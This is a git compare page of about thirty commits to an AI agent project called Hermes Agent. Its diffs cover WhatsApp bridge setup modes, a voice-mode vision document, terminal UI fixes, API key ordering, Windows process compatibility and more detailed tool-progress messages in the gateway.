Compare commits

...

31 Commits

Author SHA1 Message Date
dmahan93
0f2fcf6f82 fix: prompt box and response box span full terminal width on wide screens
- Replace hardcoded '─' * 200 horizontal rules with Window(char='─')
  so prompt_toolkit fills the entire terminal width automatically
- Use shutil.get_terminal_size().columns instead of Rich Console.width
  for response box, separator line, and input height calculation
  (more reliable inside patch_stdout context)
2026-03-02 21:53:25 -06:00
teknium1
14b0ad95c6 docs: enhance WhatsApp setup instructions and introduce mode selection
Updated the README and messaging documentation to clarify the two modes for WhatsApp integration: 'bot' mode (recommended) and 'self-chat' mode. Improved setup instructions to guide users through the configuration process, including allowlist management and dependency installation. Adjusted CLI commands to reflect these changes and ensure a smoother user experience. Additionally, modified the WhatsApp bridge to support the new mode functionality.
2026-03-02 17:51:33 -08:00
teknium1
221e4228ec Merge PR #295: fix: resolve OPENROUTER_API_KEY before OPENAI_API_KEY in all code paths
Authored by 0xbyt4. Fixes #289.
2026-03-02 17:29:25 -08:00
teknium1
dd9d3f89b9 Merge PR #286: Fix ClawHub Skills Hub adapter for API endpoint changes
Authored by BP602. Fixes #285.
2026-03-02 17:25:14 -08:00
teknium1
b0cce17da6 Merge PR #284: fix(cli): throttle UI invalidate to prevent terminal blinking on SSH
Authored by ygd58. Fixes #282.
2026-03-02 17:17:54 -08:00
teknium1
c6b3b8c847 docs: add VISION.md brainstorming/roadmap doc
Initial vision board with voice mode feature exploration, CLI UX design,
gateway platform ideas, and open questions.
2026-03-02 17:15:30 -08:00
teknium1
2ba87a10b0 Merge PR #219: fix: guard POSIX-only process functions for Windows compatibility
Authored by Farukest. Fixes #218.
2026-03-02 17:07:49 -08:00
0xbyt4
6053236158 fix: prioritize OPENROUTER_API_KEY over OPENAI_API_KEY
When both OPENROUTER_API_KEY and OPENAI_API_KEY are set (e.g. OPENAI_API_KEY
in .bashrc), the wrong key was sent to OpenRouter causing auth failures.

Fixed key resolution order in cli.py and runtime_provider.py.

Fixes #289
2026-03-03 00:28:26 +03:00
BP602
6789084ec0 Fix ClawHub Skills Hub adapter for updated API 2026-03-02 16:11:49 +01:00
ygd58
b603b6e1c9 fix(cli): throttle UI invalidate to prevent terminal blinking on SSH 2026-03-02 16:00:12 +01:00
teknium1
3c13feed4c feat: show detailed tool call args in gateway based on config
Issue #263: Telegram/Discord/WhatsApp/Slack now show tool call details
based on display.tool_progress in config.yaml.

Changes:
- gateway/run.py: 'verbose' mode shows full args (keys + JSON, 200 char
  max). 'all' mode preview increased from 40 to 80 chars. Added missing
  tool emojis (execute_code, delegate_task, clarify, skill_manage,
  search_files).
- agent/display.py: Added execute_code, delegate_task, clarify,
  skill_manage to primary_args. Added 'code' and 'goal' to fallback keys.
- run_agent.py: Pass function_args dict to tool_progress_callback so
  gateway can format based on its own verbosity config.

Config usage:
  display:
    tool_progress: verbose  # off | new | all | verbose
2026-03-02 05:23:15 -08:00
teknium1
7652afb8de Merge PR #243: fix(honcho): auto-enable when API key is present
Authored by Bartok9. Fixes #241.
2026-03-02 05:13:33 -08:00
teknium1
7862e7010c test: add additional multiline bypass tests for find patterns
Extra test coverage for newline bypass detection (DOTALL fix).
Inspired by Bartok9's PR #245.
2026-03-02 04:46:27 -08:00
teknium1
4faf2a6cf4 Merge PR #233: fix(security): add re.DOTALL to prevent multiline bypass of dangerous command detection
Authored by Farukest. Fixes #232.
2026-03-02 04:44:06 -08:00
teknium1
8c48bb080f refactor: remove unnecessary single-element loop in disk usage calc
The 'for pattern in [f"hermes-*{task_id[:8]}*"]' was a loop over a
single-element list — just use a plain variable instead.
2026-03-02 04:40:13 -08:00
teknium1
6d2481ee5c Merge PR #231: fix: use task-specific glob pattern in disk usage calculation
Authored by Farukest. Fixes #230.
2026-03-02 04:38:58 -08:00
teknium1
ca5525bcd7 fix(tests): isolate HERMES_HOME in tests and adjust log directory for debug session
Added a fixture to redirect HERMES_HOME to a temporary directory during tests, preventing writes to the user's home directory. Updated the test for DebugSession to create a dedicated log directory for saving logs, ensuring test isolation and accuracy in assertions.
2026-03-02 04:34:21 -08:00
teknium1
56b53bff6e Merge PR #229: fix(agent): copy conversation_history to avoid mutating caller's list
Authored by Farukest. Fixes #228.

# Conflicts:
#	tests/test_run_agent.py
2026-03-02 04:21:39 -08:00
teknium1
c4ea996612 fix: repair flush sentinel test — mock auxiliary client and add guard
The TestFlushSentinelNotLeaked test from PR #227 had two issues:
1. flush_memories() uses get_text_auxiliary_client() which could bypass
   agent.client entirely — mock it to return (None, None)
2. No assertion that the API was actually called — added guard assert

Without these fixes the test passed vacuously (API never called).
2026-03-02 03:21:08 -08:00
teknium1
39bfd226b8 Merge PR #225: fix: preserve empty content in ReadResult.to_dict()
Authored by Farukest. Fixes #224.
2026-03-02 03:13:31 -08:00
teknium1
234b67f5fd fix: mock time in retry exhaustion tests to prevent backoff sleep
The TestRetryExhaustion tests from PR #223 didn't mock time.sleep/time.time,
causing the retry backoff loops (275s+ total) to run in real time. Tests would
time out instead of running quickly.

Added _make_fast_time_mock() helper that creates a mock time module where
time.time() advances 500s per call (so sleep_end is always in the past) and
time.sleep() is a no-op. Both tests now complete in <1s.
2026-03-02 02:59:41 -08:00
teknium1
e27e3a4f8a Merge PR #223: fix: correct off-by-one in retry exhaustion checks
Authored by Farukest. Fixes #222.
2026-03-02 02:54:10 -08:00
teknium1
7a11ff95a9 Merge PR #277: fix: handle None message content across codebase
Fixes #276. Replace msg.get('content', '') with msg.get('content') or ''
in 4 vulnerable message-processing paths.
2026-03-02 02:42:35 -08:00
Bartok Moltbot
ed0e860abb fix(honcho): auto-enable when API key is present
Fixes #241

When users set HONCHO_API_KEY via `hermes config set` or environment
variable, they expect the integration to activate. Previously, the
`enabled` flag defaulted to `false` when reading from global config,
requiring users to also explicitly enable Honcho.

This change auto-enables Honcho when:
- An API key is present (from config file or env var)
- AND `enabled` is not explicitly set to `false` in the config

Users who want to disable Honcho while keeping the API key can still
set `enabled: false` in their config.

Also adds unit tests for the auto-enable behavior.
2026-03-01 03:12:37 -05:00
Farukest
7166647ca1 fix(security): add re.DOTALL to prevent multiline bypass of dangerous command detection 2026-03-01 03:23:29 +03:00
Farukest
f7300a858e fix(tools): use task-specific glob pattern in disk usage calculation 2026-03-01 03:17:50 +03:00
Farukest
e87859e82c fix(agent): copy conversation_history to avoid mutating caller's list 2026-03-01 03:06:13 +03:00
Farukest
de101a8202 fix(agent): strip _flush_sentinel from API messages 2026-03-01 02:51:31 +03:00
Farukest
7f1f4c2248 fix(tools): preserve empty content in ReadResult.to_dict() 2026-03-01 02:42:15 +03:00
Farukest
c33f8d381b fix: correct off-by-one in retry exhaustion checks
The retry exhaustion checks used > instead of >= to compare
retry_count against max_retries. Since the while loop condition is
retry_count < max_retries, the check retry_count > max_retries can
never be true inside the loop. When retries are exhausted, the loop
exits and falls through to response.choices[0] on an invalid response,
crashing with IndexError instead of returning a proper error.
2026-03-01 02:27:26 +03:00
Farukest
3f58e47c63 fix: guard POSIX-only process functions for Windows compatibility
os.setsid, os.killpg, and os.getpgid do not exist on Windows and raise
AttributeError on import or first call. This breaks the terminal tool,
code execution sandbox, process registry, and WhatsApp bridge on Windows.

Added _IS_WINDOWS platform guard in all four affected files, following
the pattern documented in CONTRIBUTING.md. On Windows, preexec_fn is
set to None and process termination falls back to proc.terminate() /
proc.kill() instead of process group signals.

Files changed:
- tools/environments/local.py (3 call sites)
- tools/process_registry.py (2 call sites)
- tools/code_execution_tool.py (3 call sites)
- gateway/platforms/whatsapp.py (3 call sites)
2026-03-01 01:54:27 +03:00
30 changed files with 1077 additions and 173 deletions

View File

@@ -271,22 +271,30 @@ SLACK_ALLOWED_USERS=U01234ABCDE # Comma-separated Slack user IDs
### WhatsApp Setup
WhatsApp doesn't have a simple bot API like Telegram or Discord. Hermes includes a built-in bridge using [Baileys](https://github.com/WhiskeySockets/Baileys) that connects via WhatsApp Web. The agent links to your WhatsApp account and responds to incoming messages.
WhatsApp doesn't have a simple bot API like Telegram or Discord. Hermes includes a built-in bridge using [Baileys](https://github.com/WhiskeySockets/Baileys) that connects via WhatsApp Web.
1. **Run the setup command:**
**Two modes are supported:**
| Mode | How it works | Best for |
|------|-------------|----------|
| **Separate bot number** (recommended) | Dedicate a phone number to the bot. People message that number directly. | Clean UX, multiple users |
| **Personal self-chat** | Use your own WhatsApp. You message yourself to talk to the agent. | Quick setup, single user |
**Setup:**
```bash
hermes whatsapp
```
This will:
- Enable WhatsApp in your config
- Ask for your phone number (for the allowlist)
- Install bridge dependencies (Node.js required)
- Display a QR code — scan it with your phone (WhatsApp → Settings → Linked Devices → Link a Device)
- Exit automatically once paired
The wizard will:
1. Ask which mode you want
2. For **bot mode**: guide you through getting a second number (WhatsApp Business app on a dual-SIM, Google Voice, or cheap prepaid SIM)
3. Configure the allowlist
4. Install bridge dependencies (Node.js required)
5. Display a QR code — scan from WhatsApp (or WhatsApp Business) → Settings → Linked Devices → Link a Device
6. Exit once paired
2. **Start the gateway:**
**Start the gateway:**
```bash
hermes gateway # Foreground
@@ -295,7 +303,7 @@ hermes gateway install # Or install as a system service (Linux)
The gateway starts the WhatsApp bridge automatically using the saved session.
> **Note:** WhatsApp Web sessions can disconnect if WhatsApp updates their protocol. The gateway reconnects automatically. If you see persistent failures, re-pair with `hermes whatsapp`. Agent responses are prefixed with "⚕ Hermes Agent" so you can distinguish them from your own messages in self-chat.
> **Note:** WhatsApp Web sessions can disconnect if WhatsApp updates their protocol. The gateway reconnects automatically. If you see persistent failures, re-pair with `hermes whatsapp`. Agent responses are prefixed with "⚕ Hermes Agent" for easy identification.
See [docs/messaging.md](docs/messaging.md) for advanced WhatsApp configuration.
@@ -1635,6 +1643,7 @@ All variables go in `~/.hermes/.env`. Run `hermes config set VAR value` to set t
| `SLACK_ALLOWED_USERS` | Comma-separated Slack user IDs |
| `SLACK_HOME_CHANNEL` | Default Slack channel for cron delivery |
| `WHATSAPP_ENABLED` | Enable WhatsApp bridge (`true`/`false`) |
| `WHATSAPP_MODE` | `bot` (separate number, recommended) or `self-chat` (message yourself) |
| `WHATSAPP_ALLOWED_USERS` | Comma-separated phone numbers (with country code) |
| `MESSAGING_CWD` | Working directory for terminal in messaging (default: ~) |
| `GATEWAY_ALLOW_ALL_USERS` | Allow all users without allowlist (`true`/`false`, default: `false`) |

75
VISION.md Normal file
View File

@@ -0,0 +1,75 @@
# Hermes Agent — Vision Board & Roadmap
A living brainstorming doc for features, ideas, and strategic direction.
Last updated: March 2, 2026
---
## Voice Mode
**Inspiration:** Claude Code's /voice rollout (March 2026) — lets users talk
to the coding agent instead of typing, toggled with a slash command.
### CLI UX (primary target)
The voice mode lives inside the existing CLI terminal experience:
1. **Activation:** User types `/voice` in the Hermes CLI to toggle voice on/off
2. **Status indicator:** A persistent banner appears at the top of the prompt
area: `Voice mode enabled — hold Space to speak`
3. **Push-to-talk:** User holds the Space bar to record. Releasing sends the
audio for transcription. The input prompt placeholder changes to guide:
`> hold space bar to speak`
4. **Transcription:** Speech is transcribed to text and submitted as a normal
user message — the agent processes it identically to typed input
5. **Agent response:** Text response streams to the terminal as usual.
Optionally, TTS can read the response aloud (we already have
text_to_speech). Could be a `/voice tts` sub-toggle.
6. **Deactivation:** `/voice` again to toggle off, returns to normal typing
**Implementation notes:**
- Push-to-talk needs raw terminal/keyboard input (prompt_toolkit has key
binding support — we already use it for the CLI input)
- Audio capture via PyAudio or sounddevice, stream to STT provider
- Visual feedback while recording: waveform animation or pulsing indicator
in the terminal (could use rich/textual for this)
- Space bar hold must NOT conflict with normal typing when voice is off
### Gateway Platforms
- **Telegram:** Already receives voice messages natively — transcribe them
automatically with STT and process as text. Users already send voice
notes; we just need to handle the audio file.
- **Discord:** Similar — voice messages come as attachments, transcribe and
process
- **WhatsApp:** Voice notes are a primary interaction mode, same approach
### Ideas
- Agent can already do TTS output (text_to_speech tool exists) — pair with
voice input for a full conversational loop
- Latency matters — voice conversations feel bad above ~2s response time
- Could adjust system prompt in voice mode to be more concise/conversational
- Audio cues for tool call confirmations, errors, completion
- Streaming STT (transcribe while user is still speaking) for lower latency
### Open Questions
- Which STT provider? (Whisper local, Deepgram, AssemblyAI, etc.)
- Local Whisper = no API dependency but needs GPU for speed
- Deepgram/AssemblyAI = fast streaming, but adds a service dependency
- Should voice mode change the system prompt to be more conversational/concise?
- How to handle tool call confirmations in voice — audio cues?
- Do we want full duplex (agent can interrupt/be interrupted) or half-duplex?
---
## Ideas Backlog
*(New ideas get added here, then organized into sections as they mature)*
---
## Shipped
*(Track completed vision items here for posterity)*

View File

@@ -31,6 +31,8 @@ def build_tool_preview(tool_name: str, args: dict, max_len: int = 40) -> str:
"vision_analyze": "question", "mixture_of_agents": "user_prompt",
"skill_view": "name", "skills_list": "category",
"schedule_cronjob": "name",
"execute_code": "code", "delegate_task": "goal",
"clarify": "question", "skill_manage": "name",
}
if tool_name == "process":
@@ -97,7 +99,7 @@ def build_tool_preview(tool_name: str, args: dict, max_len: int = 40) -> str:
key = primary_args.get(tool_name)
if not key:
for fallback_key in ("query", "text", "command", "path", "name", "prompt"):
for fallback_key in ("query", "text", "command", "path", "name", "prompt", "code", "goal"):
if fallback_key in args:
key = fallback_key
break

60
cli.py
View File

@@ -847,7 +847,7 @@ class HermesCLI:
or os.getenv("OPENAI_BASE_URL")
or os.getenv("OPENROUTER_BASE_URL", CLI_CONFIG["model"]["base_url"])
)
self.api_key = api_key or os.getenv("OPENAI_API_KEY") or os.getenv("OPENROUTER_API_KEY")
self.api_key = api_key or os.getenv("OPENROUTER_API_KEY") or os.getenv("OPENAI_API_KEY")
self._nous_key_expires_at: Optional[str] = None
self._nous_key_source: Optional[str] = None
# Max turns priority: CLI arg > config file > env var > default
@@ -916,6 +916,15 @@ class HermesCLI:
# History file for persistent input recall across sessions
self._history_file = Path.home() / ".hermes_history"
self._last_invalidate: float = 0.0 # throttle UI repaints
def _invalidate(self, min_interval: float = 0.25) -> None:
"""Throttled UI repaint — prevents terminal blinking on slow/SSH connections."""
import time as _time
now = _time.monotonic()
if hasattr(self, "_app") and self._app and (now - self._last_invalidate) >= min_interval:
self._last_invalidate = now
self._app.invalidate()
def _ensure_runtime_credentials(self) -> bool:
"""
@@ -1903,8 +1912,7 @@ class HermesCLI:
self._clarify_freetext = is_open_ended
# Trigger prompt_toolkit repaint from this (non-main) thread
if hasattr(self, '_app') and self._app:
self._app.invalidate()
self._invalidate()
# Poll in 1-second ticks so the countdown refreshes in the UI.
# Each tick triggers an invalidate() to repaint the hint line.
@@ -1918,15 +1926,13 @@ class HermesCLI:
if remaining <= 0:
break
# Repaint so the countdown updates
if hasattr(self, '_app') and self._app:
self._app.invalidate()
self._invalidate()
# Timed out — tear down the UI and let the agent decide
self._clarify_state = None
self._clarify_freetext = False
self._clarify_deadline = 0
if hasattr(self, '_app') and self._app:
self._app.invalidate()
self._invalidate()
_cprint(f"\n{_DIM}(clarify timed out after {timeout}s — agent will decide){_RST}")
return (
"The user did not provide a response within the time limit. "
@@ -1951,16 +1957,14 @@ class HermesCLI:
}
self._sudo_deadline = _time.monotonic() + timeout
if hasattr(self, '_app') and self._app:
self._app.invalidate()
self._invalidate()
while True:
try:
result = response_queue.get(timeout=1)
self._sudo_state = None
self._sudo_deadline = 0
if hasattr(self, '_app') and self._app:
self._app.invalidate()
self._invalidate()
if result:
_cprint(f"\n{_DIM} ✓ Password received (cached for session){_RST}")
else:
@@ -1970,13 +1974,11 @@ class HermesCLI:
remaining = self._sudo_deadline - _time.monotonic()
if remaining <= 0:
break
if hasattr(self, '_app') and self._app:
self._app.invalidate()
self._invalidate()
self._sudo_state = None
self._sudo_deadline = 0
if hasattr(self, '_app') and self._app:
self._app.invalidate()
self._invalidate()
_cprint(f"\n{_DIM} ⏱ Timeout — continuing without sudo{_RST}")
return ""
@@ -2002,28 +2004,24 @@ class HermesCLI:
}
self._approval_deadline = _time.monotonic() + timeout
if hasattr(self, '_app') and self._app:
self._app.invalidate()
self._invalidate()
while True:
try:
result = response_queue.get(timeout=1)
self._approval_state = None
self._approval_deadline = 0
if hasattr(self, '_app') and self._app:
self._app.invalidate()
self._invalidate()
return result
except queue.Empty:
remaining = self._approval_deadline - _time.monotonic()
if remaining <= 0:
break
if hasattr(self, '_app') and self._app:
self._app.invalidate()
self._invalidate()
self._approval_state = None
self._approval_deadline = 0
if hasattr(self, '_app') and self._app:
self._app.invalidate()
self._invalidate()
_cprint(f"\n{_DIM} ⏱ Timeout — denying command{_RST}")
return "deny"
@@ -2053,7 +2051,8 @@ class HermesCLI:
# Add user message to history
self.conversation_history.append({"role": "user", "content": message})
w = self.console.width
import shutil as _shutil
w = _shutil.get_terminal_size().columns
_cprint(f"{_GOLD}{'' * w}{_RST}")
print(flush=True)
@@ -2128,7 +2127,7 @@ class HermesCLI:
response = response + "\n\n---\n_[Interrupted - processing new message]_"
if response:
w = self.console.width
w = _shutil.get_terminal_size().columns
label = " ⚕ Hermes "
fill = w - 2 - len(label) # 2 for ╭ and ╮
top = f"{_GOLD}╭─{label}{'' * max(fill - 1, 0)}{_RST}"
@@ -2425,7 +2424,8 @@ class HermesCLI:
def _input_height():
try:
doc = input_area.buffer.document
available_width = (cli_ref.console.width or 80) - 4 # subtract prompt width
import shutil as _shutil
available_width = _shutil.get_terminal_size().columns - 4 # subtract prompt width
if available_width < 10:
available_width = 40
visual_lines = 0
@@ -2686,13 +2686,17 @@ class HermesCLI:
# Horizontal rules above and below the input (bronze, 1 line each).
# The bottom rule moves down as the TextArea grows with newlines.
# Using char='─' instead of hardcoded repetition so the rule
# always spans the full terminal width on any screen size.
input_rule_top = Window(
content=FormattedTextControl([('class:input-rule', '' * 200)]),
char='',
height=1,
style='class:input-rule',
)
input_rule_bot = Window(
content=FormattedTextControl([('class:input-rule', '' * 200)]),
char='',
height=1,
style='class:input-rule',
)
# Layout: interactive prompt widgets + ruled input at bottom.

View File

@@ -141,7 +141,12 @@ pip install discord.py>=2.0
### WhatsApp
WhatsApp uses a built-in bridge powered by [Baileys](https://github.com/WhiskeySockets/Baileys) that connects via WhatsApp Web. The agent links to your WhatsApp account and responds to incoming messages.
WhatsApp uses a built-in bridge powered by [Baileys](https://github.com/WhiskeySockets/Baileys) that connects via WhatsApp Web.
**Two modes:**
- **`bot` mode (recommended):** Use a dedicated phone number for the bot. Other people message that number directly. All `fromMe` messages are treated as bot echo-backs and ignored.
- **`self-chat` mode:** Use your own WhatsApp account. You talk to the agent by messaging yourself (WhatsApp → "Message Yourself").
**Setup:**
@@ -149,12 +154,7 @@ WhatsApp uses a built-in bridge powered by [Baileys](https://github.com/WhiskeyS
hermes whatsapp
```
This will:
- Enable WhatsApp in your `.env`
- Ask for your phone number (for the allowlist)
- Install bridge dependencies (Node.js required)
- Display a QR code — scan it with your phone (WhatsApp → Settings → Linked Devices → Link a Device)
- Exit automatically once paired
The wizard walks you through mode selection, allowlist configuration, dependency installation, and QR code pairing. For bot mode, you'll need a second phone number with WhatsApp installed on some device (dual-SIM with WhatsApp Business app is the easiest approach).
Then start the gateway:
@@ -162,16 +162,23 @@ Then start the gateway:
hermes gateway
```
The gateway starts the WhatsApp bridge automatically using the saved session credentials in `~/.hermes/whatsapp/session/`.
**Environment variables:**
```bash
WHATSAPP_ENABLED=true
WHATSAPP_ALLOWED_USERS=15551234567 # Comma-separated phone numbers with country code
WHATSAPP_MODE=bot # "bot" (separate number) or "self-chat" (message yourself)
WHATSAPP_ALLOWED_USERS=15551234567 # Comma-separated phone numbers with country code
```
Agent responses are prefixed with "⚕ **Hermes Agent**" so you can distinguish them from your own messages when messaging yourself.
**Getting a second number for bot mode:**
| Option | Cost | Notes |
|--------|------|-------|
| WhatsApp Business app + dual-SIM | Free (if you have dual-SIM) | Install alongside personal WhatsApp, no second phone needed |
| Google Voice | Free (US only) | voice.google.com, verify WhatsApp via the Google Voice app |
| Prepaid SIM | $3-10/month | Any carrier; verify once, phone can go in a drawer on WiFi |
Agent responses are prefixed with "⚕ **Hermes Agent**" for easy identification.
> **Re-pairing:** If WhatsApp Web sessions disconnect (protocol updates, phone reset), re-pair with `hermes whatsapp`.

View File

@@ -19,7 +19,10 @@ import asyncio
import json
import logging
import os
import platform
import subprocess
_IS_WINDOWS = platform.system() == "Windows"
from pathlib import Path
from typing import Dict, List, Optional, Any
@@ -157,16 +160,18 @@ class WhatsAppAdapter(BasePlatformAdapter):
pass
# Start the bridge process in its own process group
whatsapp_mode = os.getenv("WHATSAPP_MODE", "self-chat")
self._bridge_process = subprocess.Popen(
[
"node",
str(bridge_path),
"--port", str(self._bridge_port),
"--session", str(self._session_path),
"--mode", whatsapp_mode,
],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
preexec_fn=os.setsid,
preexec_fn=None if _IS_WINDOWS else os.setsid,
)
# Wait for bridge to be ready via HTTP health check
@@ -211,13 +216,19 @@ class WhatsAppAdapter(BasePlatformAdapter):
# Kill the entire process group so child node processes die too
import signal
try:
os.killpg(os.getpgid(self._bridge_process.pid), signal.SIGTERM)
if _IS_WINDOWS:
self._bridge_process.terminate()
else:
os.killpg(os.getpgid(self._bridge_process.pid), signal.SIGTERM)
except (ProcessLookupError, PermissionError):
self._bridge_process.terminate()
await asyncio.sleep(1)
if self._bridge_process.poll() is None:
try:
os.killpg(os.getpgid(self._bridge_process.pid), signal.SIGKILL)
if _IS_WINDOWS:
self._bridge_process.kill()
else:
os.killpg(os.getpgid(self._bridge_process.pid), signal.SIGKILL)
except (ProcessLookupError, PermissionError):
self._bridge_process.kill()
except Exception as e:

View File

@@ -1672,7 +1672,7 @@ class GatewayRunner:
progress_queue = queue.Queue() if tool_progress_enabled else None
last_tool = [None] # Mutable container for tracking in closure
def progress_callback(tool_name: str, preview: str = None):
def progress_callback(tool_name: str, preview: str = None, args: dict = None):
"""Callback invoked by agent when a tool is called."""
if not progress_queue:
return
@@ -1692,6 +1692,7 @@ class GatewayRunner:
"write_file": "✍️",
"patch": "🔧",
"search": "🔎",
"search_files": "🔎",
"list_directory": "📂",
"image_generate": "🎨",
"text_to_speech": "🔊",
@@ -1717,14 +1718,28 @@ class GatewayRunner:
"schedule_cronjob": "",
"list_cronjobs": "",
"remove_cronjob": "",
"execute_code": "🐍",
"delegate_task": "🔀",
"clarify": "",
"skill_manage": "📝",
}
emoji = tool_emojis.get(tool_name, "⚙️")
# Verbose mode: show detailed arguments
if progress_mode == "verbose" and args:
import json as _json
args_str = _json.dumps(args, ensure_ascii=False, default=str)
if len(args_str) > 200:
args_str = args_str[:197] + "..."
msg = f"{emoji} {tool_name}({list(args.keys())})\n{args_str}"
progress_queue.put(msg)
return
if preview:
# Truncate preview to keep messages clean
if len(preview) > 40:
preview = preview[:37] + "..."
msg = f"{emoji} {tool_name}... \"{preview}\""
if len(preview) > 80:
preview = preview[:77] + "..."
msg = f"{emoji} {tool_name}: \"{preview}\""
else:
msg = f"{emoji} {tool_name}..."

View File

@@ -168,7 +168,7 @@ def cmd_gateway(args):
def cmd_whatsapp(args):
"""Set up WhatsApp: enable, configure allowed users, install bridge, pair via QR."""
"""Set up WhatsApp: choose mode, configure, install bridge, pair via QR."""
import os
import subprocess
from pathlib import Path
@@ -177,12 +177,55 @@ def cmd_whatsapp(args):
print()
print("⚕ WhatsApp Setup")
print("=" * 50)
print()
print("This will link your WhatsApp account to Hermes Agent.")
print("The agent will respond to messages sent to your WhatsApp number.")
print()
# Step 1: Enable WhatsApp
# ── Step 1: Choose mode ──────────────────────────────────────────────
current_mode = get_env_value("WHATSAPP_MODE") or ""
if not current_mode:
print()
print("How will you use WhatsApp with Hermes?")
print()
print(" 1. Separate bot number (recommended)")
print(" People message the bot's number directly — cleanest experience.")
print(" Requires a second phone number with WhatsApp installed on a device.")
print()
print(" 2. Personal number (self-chat)")
print(" You message yourself to talk to the agent.")
print(" Quick to set up, but the UX is less intuitive.")
print()
try:
choice = input(" Choose [1/2]: ").strip()
except (EOFError, KeyboardInterrupt):
print("\nSetup cancelled.")
return
if choice == "1":
save_env_value("WHATSAPP_MODE", "bot")
wa_mode = "bot"
print(" ✓ Mode: separate bot number")
print()
print(" ┌─────────────────────────────────────────────────┐")
print(" │ Getting a second number for the bot: │")
print(" │ │")
print(" │ Easiest: Install WhatsApp Business (free app) │")
print(" │ on your phone with a second number: │")
print(" │ • Dual-SIM: use your 2nd SIM slot │")
print(" │ • Google Voice: free US number (voice.google) │")
print(" │ • Prepaid SIM: $3-10, verify once │")
print(" │ │")
print(" │ WhatsApp Business runs alongside your personal │")
print(" │ WhatsApp — no second phone needed. │")
print(" └─────────────────────────────────────────────────┘")
else:
save_env_value("WHATSAPP_MODE", "self-chat")
wa_mode = "self-chat"
print(" ✓ Mode: personal number (self-chat)")
else:
wa_mode = current_mode
mode_label = "separate bot number" if wa_mode == "bot" else "personal number (self-chat)"
print(f"\n✓ Mode: {mode_label}")
# ── Step 2: Enable WhatsApp ──────────────────────────────────────────
print()
current = get_env_value("WHATSAPP_ENABLED")
if current and current.lower() == "true":
print("✓ WhatsApp is already enabled")
@@ -190,26 +233,36 @@ def cmd_whatsapp(args):
save_env_value("WHATSAPP_ENABLED", "true")
print("✓ WhatsApp enabled")
# Step 2: Allowed users
# ── Step 3: Allowed users ────────────────────────────────────────────
current_users = get_env_value("WHATSAPP_ALLOWED_USERS") or ""
if current_users:
print(f"✓ Allowed users: {current_users}")
response = input("\n Update allowed users? [y/N] ").strip()
try:
response = input("\n Update allowed users? [y/N] ").strip()
except (EOFError, KeyboardInterrupt):
response = "n"
if response.lower() in ("y", "yes"):
phone = input(" Phone number(s) (e.g. 15551234567, comma-separated): ").strip()
if wa_mode == "bot":
phone = input(" Phone numbers that can message the bot (comma-separated): ").strip()
else:
phone = input(" Your phone number (e.g. 15551234567): ").strip()
if phone:
save_env_value("WHATSAPP_ALLOWED_USERS", phone.replace(" ", ""))
print(f" ✓ Updated to: {phone}")
else:
print()
phone = input(" Your phone number (e.g. 15551234567): ").strip()
if wa_mode == "bot":
print(" Who should be allowed to message the bot?")
phone = input(" Phone numbers (comma-separated, or * for anyone): ").strip()
else:
phone = input(" Your phone number (e.g. 15551234567): ").strip()
if phone:
save_env_value("WHATSAPP_ALLOWED_USERS", phone.replace(" ", ""))
print(f" ✓ Allowed users set: {phone}")
else:
print(" ⚠ No allowlist — the agent will respond to ALL incoming messages")
# Step 3: Install bridge deps
# ── Step 4: Install bridge dependencies ──────────────────────────────
project_root = Path(__file__).resolve().parents[1]
bridge_dir = project_root / "scripts" / "whatsapp-bridge"
bridge_script = bridge_dir / "bridge.js"
@@ -234,13 +287,16 @@ def cmd_whatsapp(args):
else:
print("✓ Bridge dependencies already installed")
# Step 4: Check for existing session
# ── Step 5: Check for existing session ───────────────────────────────
session_dir = Path.home() / ".hermes" / "whatsapp" / "session"
session_dir.mkdir(parents=True, exist_ok=True)
if (session_dir / "creds.json").exists():
print("✓ Existing WhatsApp session found")
response = input("\n Re-pair? This will clear the existing session. [y/N] ").strip()
try:
response = input("\n Re-pair? This will clear the existing session. [y/N] ").strip()
except (EOFError, KeyboardInterrupt):
response = "n"
if response.lower() in ("y", "yes"):
import shutil
shutil.rmtree(session_dir, ignore_errors=True)
@@ -251,11 +307,16 @@ def cmd_whatsapp(args):
print(" Start the gateway with: hermes gateway")
return
# Step 5: Run bridge in pair-only mode (no HTTP server, exits after QR scan)
# ── Step 6: QR code pairing ──────────────────────────────────────────
print()
print("" * 50)
print("📱 Scan the QR code with your phone:")
print(" WhatsApp → Settings → Linked Devices → Link a Device")
if wa_mode == "bot":
print("📱 Open WhatsApp (or WhatsApp Business) on the")
print(" phone with the BOT's number, then scan:")
else:
print("📱 Open WhatsApp on your phone, then scan:")
print()
print(" Settings → Linked Devices → Link a Device")
print("" * 50)
print()
@@ -267,12 +328,28 @@ def cmd_whatsapp(args):
except KeyboardInterrupt:
pass
# ── Step 7: Post-pairing ─────────────────────────────────────────────
print()
if (session_dir / "creds.json").exists():
print("✓ WhatsApp paired successfully!")
print()
print("Start the gateway with: hermes gateway")
print("Or install as a service: hermes gateway install")
if wa_mode == "bot":
print(" Next steps:")
print(" 1. Start the gateway: hermes gateway")
print(" 2. Send a message to the bot's WhatsApp number")
print(" 3. The agent will reply automatically")
print()
print(" Tip: Agent responses are prefixed with '⚕ Hermes Agent'")
else:
print(" Next steps:")
print(" 1. Start the gateway: hermes gateway")
print(" 2. Open WhatsApp → Message Yourself")
print(" 3. Type a message — the agent will reply")
print()
print(" Tip: Agent responses are prefixed with '⚕ Hermes Agent'")
print(" so you can tell them apart from your own messages.")
print()
print(" Or install as a service: hermes gateway install")
else:
print("⚠ Pairing may not have completed. Run 'hermes whatsapp' to try again.")

View File

@@ -74,8 +74,8 @@ def _resolve_openrouter_runtime(
api_key = (
explicit_api_key
or os.getenv("OPENAI_API_KEY")
or os.getenv("OPENROUTER_API_KEY")
or os.getenv("OPENAI_API_KEY")
or ""
)

View File

@@ -1382,21 +1382,13 @@ def run_setup_wizard(args):
existing_whatsapp = get_env_value('WHATSAPP_ENABLED')
if not existing_whatsapp and prompt_yes_no("Set up WhatsApp?", False):
print_info("WhatsApp connects via a built-in bridge (Baileys).")
print_info("Requires Node.js (already installed if you have browser tools).")
print_info("On first gateway start, you'll scan a QR code with your phone.")
print_info("Requires Node.js. Run 'hermes whatsapp' for guided setup.")
print()
if prompt_yes_no("Enable WhatsApp?", True):
if prompt_yes_no("Enable WhatsApp now?", True):
save_env_value("WHATSAPP_ENABLED", "true")
print_success("WhatsApp enabled")
allowed_users = prompt(" Your phone number (e.g. 15551234567, comma-separated for multiple)")
if allowed_users:
save_env_value("WHATSAPP_ALLOWED_USERS", allowed_users.replace(" ", ""))
print_success("WhatsApp allowlist configured")
else:
